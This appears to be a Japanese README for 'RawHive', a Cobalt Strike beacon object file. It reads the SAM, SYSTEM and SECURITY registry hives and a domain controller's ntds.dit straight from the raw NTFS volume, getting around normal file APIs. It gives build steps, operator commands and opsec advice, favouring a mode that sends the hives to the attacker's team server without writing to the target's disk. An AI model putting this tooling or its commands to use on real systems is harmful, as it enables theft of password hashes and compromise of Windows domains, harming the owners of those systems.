
Cobalt Strike BOFは、NTFSメタデータを解析し、ディスクから直接ファイルデータを読み取ることで、生のNTFSボリュームから選択したWindowsレジストリハイブを抽出します。
RawHiveは、生のNTFSボリュームから選択したWindowsレジストリハイブを直接取得するためのCobalt Strike BOFです。通常のファイルAPIを回避し、NTFSメタデータを辿って対象のファイルレコードを見つけ、ディスクから直接バイトを読み取ります。
対象:
C:\Windows\System32\config\SAMC:\Windows\System32\config\SYSTEMC:\Windows\System32\config\SECURITYC:\Windows\NTDS\ntds.dit (ドメインコントローラーのみ)ローカルのNTFSドライブレターであればどれでも動作します。デフォルトは C: です。
\\.\C:)を開き、ブートセクターを読み取って $MFT を特定します。Windows、System32、config、および対象ファイルのディレクトリインデックスを辿ります。フォールバックとして範囲を限定したMFTスキャンも行います。x86_64-w64-mingw32-gcc と make。make
dist/rawhive.x64.o をビルドします。rawhive.cna は dist/ からオブジェクトを読み込むため、rawhive.c を変更したら再ビルドしてください。
ダウンロードモードがデフォルトです。ハイブは生のボリュームから直接読み取られ、BeaconDownload APIを介してチームサーバーに送信されます。ターゲットのディスクには一切触れません。
rawhive # download C: hives to team server
rawhive D # download D: hives to team server
ディスク書き込みモードでは、ターゲット上のディレクトリに .tmp ファイルを保存します。これはディスクに触れるため、opsec的に安全でない可能性があります。ファイルをローカルに配置する必要が特にない限り、ダウンロードモードを推奨します。
rawhive C:\Windows\Temp # write C: hives to disk
rawhive C:\Windows\Temp D # write D: hives to C:\Windows\Temp
ボリュームは C、c、または C: として指定できます。出力ディレクトリは既に存在している必要があります。
ファイルは <host>_<timestamp>_<hive>.tmp という名前になります:
<host>_<timestamp>_sam.tmp
<host>_<timestamp>_system.tmp
<host>_<timestamp>_security.tmp
<host>_<timestamp>_ntds.tmp # DCs only
ダウンロードモードではCobalt Strikeのダウンロードトレイに表示され、ディスク書き込みモードでは指定した出力ディレクトリに配置されます。
